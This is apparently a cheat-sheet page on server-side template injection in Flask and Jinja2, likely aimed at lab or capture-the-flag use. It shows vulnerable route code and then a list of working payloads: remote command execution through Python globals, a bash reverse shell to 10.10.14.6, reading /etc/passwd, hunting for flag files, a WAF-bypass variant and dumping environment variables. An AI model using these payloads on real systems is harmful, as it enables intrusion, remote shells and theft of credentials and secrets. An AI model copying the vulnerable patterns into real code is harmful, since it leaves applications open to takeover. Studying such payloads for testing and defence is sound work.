SSTI
Server Side Template Injection
flask.render_template_string directly renders user input as Jinja2 templates. Any user input passed to it becomes a SSTI
Vulnerable Code Patterns:
# DANGEROUS - Never do this
@app.route('/user/<username>')
def profile(username):
template = f"Hello {username}!"
return render_template_string(template)
# ALSO DANGEROUS
@app.route('/search')
def search():
query = request.args.get('q')
return render_template_string(f"Results for: {query}")Jinja2, Twig, and Mako Engines.
${config}${7*7}${self}Using OS module
${self.module.cache.util.os.popen('whoami').read()}Python (Jinja2, Django) // PHP (Liquid) // Handlebars Engines
Testing
{{7*7}}{{config}}{{self}}Exploitation
Python global scope
{{ namespace.__init__.__globals__.os.popen('id').read() }}RCE (if eval is allowed)
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}Reverse Shell
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"').read() }}Read /etc/passwd
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['builtins'].open('/etc/passwd').read()}}Recursive file search
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('find / -name "*flag*" 2>/dev/null').read()}}bypasses some WAF filters
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}Alternative access method when standard MRO traversal is blocked or filtered
{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}Environment Variable Access
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].environ}}The [104] index can vary between Python versions. Look for <class 'subprocess.Popen'> and note its index:
[104] index can vary between Python versions. Look for <class 'subprocess.Popen'> and note its index:Lists all available subclasses
{{''.__class__.__mro__[1].__subclasses__()}}Last updated